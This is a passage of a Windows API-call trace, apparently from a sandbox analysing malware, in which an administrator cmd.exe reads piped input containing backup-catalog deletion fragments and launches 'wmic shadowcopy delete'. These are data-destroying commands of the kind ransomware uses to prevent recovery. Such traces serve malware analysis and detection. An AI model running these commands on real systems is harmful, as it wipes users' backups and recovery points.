(_FileHandle=0) returned 0x120 [0106.087] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0106.087] ReadFile (in: hFile=0x120, lpBuffer=0x4a40c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f758, lpOverlapped=0x0 | out: lpBuffer=0x4a40c320*, lpNumberOfBytesRead=0x24f758*=0x1, lpOverlapped=0x0) returned 1 [0106.087] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a40c320, cbMultiByte=1, lpWideCharStr=0x4a40e338, cchWideChar=1 | out: lpWideCharStr="oe catalog -quiet\nquiet\n") returned 1 [0106.087] _get_osfhandle (_FileHandle=0) returned 0x120 [0106.087] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0106.087] ReadFile (in: hFile=0x120, lpBuffer=0x4a40c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f758, lpOverlapped=0x0 | out: lpBuffer=0x4a40c320*, lpNumberOfBytesRead=0x24f758*=0x1, lpOverlapped=0x0) returned 1 [0106.087] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a40c320, cbMultiByte=1, lpWideCharStr=0x4a40e33a, cchWideChar=1 | out: lpWideCharStr="p catalog -quiet\nquiet\n") returned 1 [0106.087] _get_osfhandle (_FileHandle=0) returned 0x120 [0106.087] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0106.087] ReadFile (in: hFile=0x120, lpBuffer=0x4a40c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f758, lpOverlapped=0x0 | out: lpBuffer=0x4a40c320*, lpNumberOfBytesRead=0x24f758*=0x1, lpOverlapped=0x0) returned 1 [0106.087] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a40c320, cbMultiByte=1, lpWideCharStr=0x4a40e33c, cchWideChar=1 | out: lpWideCharStr="ycatalog -quiet\nquiet\n") returned 1 [0106.087] _get_osfhandle (_FileHandle=0) returned 0x120 [0106.087] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0106.087] ReadFile (in: hFile=0x120, lpBuffer=0x4a40c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f758, lpOverlapped=0x0 | out: lpBuffer=0x4a40c320*, lpNumberOfBytesRead=0x24f758*=0x1, lpOverlapped=0x0) returned 1 [0106.088] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a40c320, cbMultiByte=1, lpWideCharStr=0x4a40e33e, cchWideChar=1 | out: lpWideCharStr=" atalog -quiet\nquiet\n") returned 1 [0106.088] _get_osfhandle (_FileHandle=0) returned 0x120 [0106.088] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0106.088] ReadFile (in: hFile=0x120, lpBuffer=0x4a40c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f758, lpOverlapped=0x0 | out: lpBuffer=0x4a40c320*, lpNumberOfBytesRead=0x24f758*=0x1, lpOverlapped=0x0) returned 1 [0106.088] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a40c320, cbMultiByte=1, lpWideCharStr=0x4a40e340, cchWideChar=1 | out: lpWideCharStr="dtalog -quiet\nquiet\n") returned 1 [0106.088] _get_osfhandle (_FileHandle=0) returned 0x120 [0106.088] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0106.088] ReadFile (in: hFile=0x120, lpBuffer=0x4a40c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f758, lpOverlapped=0x0 | out: lpBuffer=0x4a40c320*, lpNumberOfBytesRead=0x24f758*=0x1, lpOverlapped=0x0) returned 1 [0106.088] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a40c320, cbMultiByte=1, lpWideCharStr=0x4a40e342, cchWideChar=1 | out: lpWideCharStr="ealog -quiet\nquiet\n") returned 1 [0106.088] _get_osfhandle (_FileHandle=0) returned 0x120 [0106.088] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0106.088] ReadFile (in: hFile=0x120, lpBuffer=0x4a40c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f758, lpOverlapped=0x0 | out: lpBuffer=0x4a40c320*, lpNumberOfBytesRead=0x24f758*=0x1, lpOverlapped=0x0) returned 1 [0106.088] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a40c320, cbMultiByte=1, lpWideCharStr=0x4a40e344, cchWideChar=1 | out: lpWideCharStr="llog -quiet\nquiet\n") returned 1 [0106.088] _get_osfhandle (_FileHandle=0) returned 0x120 [0106.088] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0106.088] ReadFile (in: hFile=0x120, lpBuffer=0x4a40c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f758, lpOverlapped=0x0 | out: lpBuffer=0x4a40c320*, lpNumberOfBytesRead=0x24f758*=0x1, lpOverlapped=0x0) returned 1 [0106.088] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a40c320, cbMultiByte=1, lpWideCharStr=0x4a40e346, cchWideChar=1 | out: lpWideCharStr="eog -quiet\nquiet\n") returned 1 [0106.088] _get_osfhandle (_FileHandle=0) returned 0x120 [0106.088] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0106.088] ReadFile (in: hFile=0x120, lpBuffer=0x4a40c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f758, lpOverlapped=0x0 | out: lpBuffer=0x4a40c320*, lpNumberOfBytesRead=0x24f758*=0x1, lpOverlapped=0x0) returned 1 [0106.088] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a40c320, cbMultiByte=1, lpWideCharStr=0x4a40e348, cchWideChar=1 | out: lpWideCharStr="tg -quiet\nquiet\n") returned 1 [0106.088] _get_osfhandle (_FileHandle=0) returned 0x120 [0106.088] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0106.088] ReadFile (in: hFile=0x120, lpBuffer=0x4a40c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f758, lpOverlapped=0x0 | out: lpBuffer=0x4a40c320*, lpNumberOfBytesRead=0x24f758*=0x1, lpOverlapped=0x0) returned 1 [0106.089] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a40c320, cbMultiByte=1, lpWideCharStr=0x4a40e34a, cchWideChar=1 | out: lpWideCharStr="e -quiet\nquiet\n") returned 1 [0106.089] _get_osfhandle (_FileHandle=0) returned 0x120 [0106.089] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0106.089] ReadFile (in: hFile=0x120, lpBuffer=0x4a40c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f758, lpOverlapped=0x0 | out: lpBuffer=0x4a40c320*, lpNumberOfBytesRead=0x24f758*=0x1, lpOverlapped=0x0) returned 1 [0106.089] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a40c320, cbMultiByte=1, lpWideCharStr=0x4a40e34c, cchWideChar=1 | out: lpWideCharStr="\n-quiet\nquiet\n") returned 1 [0106.089] _get_osfhandle (_FileHandle=0) returned 0x120 [0106.089] GetFileType (hFile=0x120) returned 0x3 [0106.089] _get_osfhandle (_FileHandle=0) returned 0x120 [0106.089] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0106.089] _get_osfhandle (_FileHandle=1) returned 0x12c [0106.089] GetFileType (hFile=0x12c) returned 0x3 [0106.089] _get_osfhandle (_FileHandle=1) returned 0x12c [0106.089] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="wmic shadowcopy delete\n", cchWideChar=-1, lpMultiByteStr=0x4a40c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmic shadowcopy delete\n", lpUsedDefaultChar=0x0) returned 24 [0106.089] WriteFile (in: hFile=0x12c, lpBuffer=0x4a40c320*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x24f738, lpOverlapped=0x0 | out: lpBuffer=0x4a40c320*, lpNumberOfBytesWritten=0x24f738*=0x17, lpOverlapped=0x0) returned 1 [0106.089] GetProcessHeap () returned 0x350000 [0106.089] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x4012) returned 0x36f630 [0106.089] GetProcessHeap () returned 0x350000 [0106.089] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36f630 | out: hHeap=0x350000) returned 1 [0106.089] GetProcessHeap () returned 0x350000 [0106.089] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0xb0) returned 0x3697e0 [0106.089] GetProcessHeap () returned 0x350000 [0106.089] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x1a) returned 0x364610 [0106.090] GetProcessHeap () returned 0x350000 [0106.090] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x36) returned 0x366510 [0106.090] GetConsoleOutputCP () returned 0x1b5 [0106.091] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a40bfe0 | out: lpCPInfo=0x4a40bfe0) returned 1 [0106.091] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0106.091] GetConsoleTitleW (in: lpConsoleTitle=0x24f6f0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0106.091] GetProcessHeap () returned 0x350000 [0106.091] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x218) returned 0x351ab0 [0106.091] GetProcessHeap () returned 0x350000 [0106.091] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x36aa40 [0106.091] GetProcessHeap () returned 0x350000 [0106.091] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x420) returned 0x36ba10 [0106.091] SetErrorMode (uMode=0x0) returned 0x1 [0106.091] SetErrorMode (uMode=0x1) returned 0x0 [0106.092] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x36ba20, lpFilePart=0x24ef80 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x24ef80*="Desktop") returned 0x25 [0106.092] SetErrorMode (uMode=0x1) returned 0x1 [0106.092] GetProcessHeap () returned 0x350000 [0106.092] RtlReAllocateHeap (Heap=0x350000, Flags=0x0, Ptr=0x36ba10, Size=0x66) returned 0x36ba10 [0106.092] GetProcessHeap () returned 0x350000 [0106.092] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36ba10) returned 0x66 [0106.092] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a3ff360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0106.092] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0106.092] GetProcessHeap () returned 0x350000 [0106.092] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x128) returned 0x351cd0 [0106.092] GetProcessHeap () returned 0x350000 [0106.092] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x240) returned 0x369910 [0106.092] GetProcessHeap () returned 0x350000 [0106.092] RtlReAllocateHeap (Heap=0x350000, Flags=0x0, Ptr=0x369910, Size=0x12a) returned 0x369910 [0106.092] GetProcessHeap () returned 0x350000 [0106.092] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x369910) returned 0x12a [0106.092] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a3ff360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0106.092] GetProcessHeap () returned 0x350000 [0106.092] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0xe8) returned 0x365b70 [0106.092] GetProcessHeap () returned 0x350000 [0106.092] RtlReAllocateHeap (Heap=0x350000, Flags=0x0, Ptr=0x365b70, Size=0x7e) returned 0x365b70 [0106.092] GetProcessHeap () returned 0x350000 [0106.092] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x365b70) returned 0x7e [0106.093] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0106.093] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\wmic.*", fInfoLevelId=0x1, lpFindFileData=0x24ecf0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x24ecf0) returned 0xffffffffffffffff [0106.093] GetLastError () returned 0x2 [0106.093] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\wmic", fInfoLevelId=0x1, lpFindFileData=0x24ecf0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x24ecf0) returned 0xffffffffffffffff [0106.093] GetLastError () returned 0x2 [0106.093] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0106.093] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\wmic.*", fInfoLevelId=0x1, lpFindFileData=0x24ecf0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x24ecf0) returned 0xffffffffffffffff [0106.093] GetLastError () returned 0x2 [0106.093] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\wmic", fInfoLevelId=0x1, lpFindFileData=0x24ecf0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x24ecf0) returned 0xffffffffffffffff [0106.094] GetLastError () returned 0x2 [0106.094] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0106.094] FindFirstFileExW (in: lpFileName="C:\\Windows\\wmic.*", fInfoLevelId=0x1, lpFindFileData=0x24ecf0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x24ecf0) returned 0xffffffffffffffff [0106.094] GetLastError () returned 0x2 [0106.094] FindFirstFileExW (in: lpFileName="C:\\Windows\\wmic", fInfoLevelId=0x1, lpFindFileData=0x24ecf0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x24ecf0) returned 0xffffffffffffffff [0106.094] GetLastError () returned 0x2 [0106.094] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0106.094] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\Wbem\\wmic.*", fInfoLevelId=0x1, lpFindFileData=0x24ecf0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x24ecf0) returned 0x369f20 [0106.094] FindClose (in: hFindFile=0x369f20 | out: hFindFile=0x369f20) returned 1 [0106.095] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\Wbem\\WMIC.COM", fInfoLevelId=0x1, lpFindFileData=0x24ecf0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x24ecf0) returned 0xffffffffffffffff [0106.095] GetLastError () returned 0x2 [0106.095] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\Wbem\\WMIC.EXE", fInfoLevelId=0x1, lpFindFileData=0x24ecf0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x24ecf0) returned 0x369f20 [0106.095] FindClose (in: hFindFile=0x369f20 | out: hFindFile=0x369f20) returned 1 [0106.095] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0106.095] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0106.095] GetConsoleTitleW (in: lpConsoleTitle=0x24f240, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0106.095] GetProcessHeap () returned 0x350000 [0106.095] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x21c) returned 0x369a50 [0106.095] GetConsoleTitleW (in: lpConsoleTitle=0x369a60, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0106.095] GetProcessHeap () returned 0x350000 [0106.095] RtlReAllocateHeap (Heap=0x350000, Flags=0x0, Ptr=0x369a50, Size=0xa6) returned 0x369a50 [0106.095] GetProcessHeap () returned 0x350000 [0106.095] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x369a50) returned 0xa6 [0106.095] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - wmic shadowcopy delete") returned 1 [0106.096] GetProcessHeap () returned 0x350000 [0106.096] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x369a50 | out: hHeap=0x350000) returned 1 [0106.096] InitializeProcThreadAttributeList (in: lpAttributeList=0x24eff8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x24efb8 | out: lpAttributeList=0x24eff8, lpSize=0x24efb8) returned 1 [0106.096] UpdateProcThreadAttribute (in: lpAttributeList=0x24eff8, dwFlags=0x0, Attribute=0x60001, lpValue=0x24efa8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x24eff8, lpPreviousValue=0x0) returned 1 [0106.096] GetStartupInfoW (in: lpStartupInfo=0x24f110 | out: lpStartupInfo=0x24f110*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x120, hStdOutput=0x12c, hStdError=0x12c)) [0106.096] GetProcessHeap () returned 0x350000 [0106.096] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x20) returned 0x364640 [0106.096] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0106.096] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0106.096] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0106.096] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0106.096] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0106.097] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0106.097] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0106.097] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0106.097] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0106.097] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0106.097] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0106.097] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0106.097] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0106.097] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0106.097] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0106.097] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0106.097] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0106.097] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0106.097] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0106.097] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0106.097] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0106.097] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0106.097] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0106.097] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0106.097] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0106.097] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0106.097] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0106.097] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0106.097] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0106.097] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0106.097] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0106.097] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0106.097] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0106.097] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0106.097] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0106.097] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0106.097] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0106.097] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0106.098] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0106.098] GetProcessHeap () returned 0x350000 [0106.098] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x364640 | out: hHeap=0x350000) returned 1 [0106.098] GetProcessHeap () returned 0x350000 [0106.098] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x12) returned 0x368900 [0106.098] CreateProcessW (in: lpApplicationName="C:\\Windows\\System32\\Wbem\\WMIC.exe", lpCommandLine="wmic shadowcopy delete", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x24f030*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="wmic shadowcopy delete", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x24efe0 | out: lpCommandLine="wmic shadowcopy delete", lpProcessInformation=0x24efe0*(hProcess=0x54, hThread=0x50, dwProcessId=0xa4c, dwThreadId=0xb88)) returned 1 [0106.110] CloseHandle (hObject=0x50) returned 1 [0106.110] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0106.110] GetProcessHeap () returned 0x350000 [0106.110] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36eb10 | out: hHeap=0x350000) returned 1 [0106.110] GetEnvironmentStringsW () returned 0x368980* [0106.111] GetProcessHeap () returned 0x350000 [0106.111] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0xb0e) returned 0x36eb10 [0106.111] FreeEnvironmentStringsW (penv=0x368980) returned 1 [0106.111] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x24e8e8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x24e8e8, ReturnLength=0x0) returned 0x0 [0106.111] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffdf000, lpBuffer=0x24e920, nSize=0x380, lpNumberOfBytesRead=0x24e8e0 | out: lpBuffer=0x24e920*, lpNumberOfBytesRead=0x24e8e0*=0x380) returned 1 [0106.111] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0119.725] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x24ef28 | out: lpExitCode=0x24ef28*=0x0) returned 1 [0119.725] CloseHandle (hObject=0x54) returned 1 [0119.727] _vsnwprintf (in: _Buffer=0x24f198, _BufferCount=0x13, _Format="%08X", _ArgList=0x24ef38 | out: _Buffer="00000000") returned 8 [0119.727] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0119.727] GetProcessHeap () returned 0x350000 [0119.727] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36eb10 | out: hHeap=0x350000) returned 1 [0119.728] GetEnvironmentStringsW () returned 0x368980* [0119.728] GetProcessHeap () returned 0x350000 [0119.728] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0xb0e) returned 0x36eb10 [0119.728] FreeEnvironmentStringsW (penv=0x368980) returned 1 [0119.728] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0119.728] GetProcessHeap () returned 0x350000 [0119.728] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36eb10 | out: hHeap=0x350000) returned 1 [0119.728] GetEnvironmentStringsW () returned 0x368980* [0119.728] GetProcessHeap () returned 0x350000 [0119.728] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0xb0e) returned 0x36eb10 [0119.728] FreeEnvironmentStringsW (penv=0x368980) returned 1 [0119.728] GetProcessHeap () returned 0x350000 [0119.728] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x368900 | out: hHeap=0x350000) returned 1 [0119.728] DeleteProcThreadAttributeList (in: lpAttributeList=0x24eff8 | out: lpAttributeList=0x24eff8) [0119.728] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0119.731] _get_osfhandle (_FileHandle=1) returned 0x12c [0119.731] SetConsoleMode (hConsoleHandle=0x12c, dwMode=0x0) returned 0 [0119.731] _get_osfhandle (_FileHandle=1) returned 0x12c [0119.732] GetConsoleMode (in: hConsoleHandle=0x12c, lpMode=0x4a3fe194 | out: lpMode=0x4a3fe194) returned 0 [0119.732] _get_osfhandle (_FileHandle=0) returned 0x120 [0119.732] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x4a3fe198 | out: lpMode=0x4a3fe198) returned 0 [0119.732] GetConsoleOutputCP () returned 0x1b5 [0119.732] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a40bfe0 | out: lpCPInfo=0x4a40bfe0) returned 1 [0119.732] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0119.733] GetProcessHeap () returned 0x350000 [0119.733] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x365b70 | out: hHeap=0x350000) returned 1 [0119.733] GetProcessHeap () returned 0x350000 [0119.733] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x369910 | out: hHeap=0x350000) returned 1 [0119.733] GetProcessHeap () returned 0x350000 [0119.733] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x351cd0 | out: hHeap=0x350000) returned 1 [0119.733] GetProcessHeap () returned 0x350000 [0119.733] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36ba10 | out: hHeap=0x350000) returned 1 [0119.733] GetProcessHeap () returned 0x350000 [0119.733] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36aa40 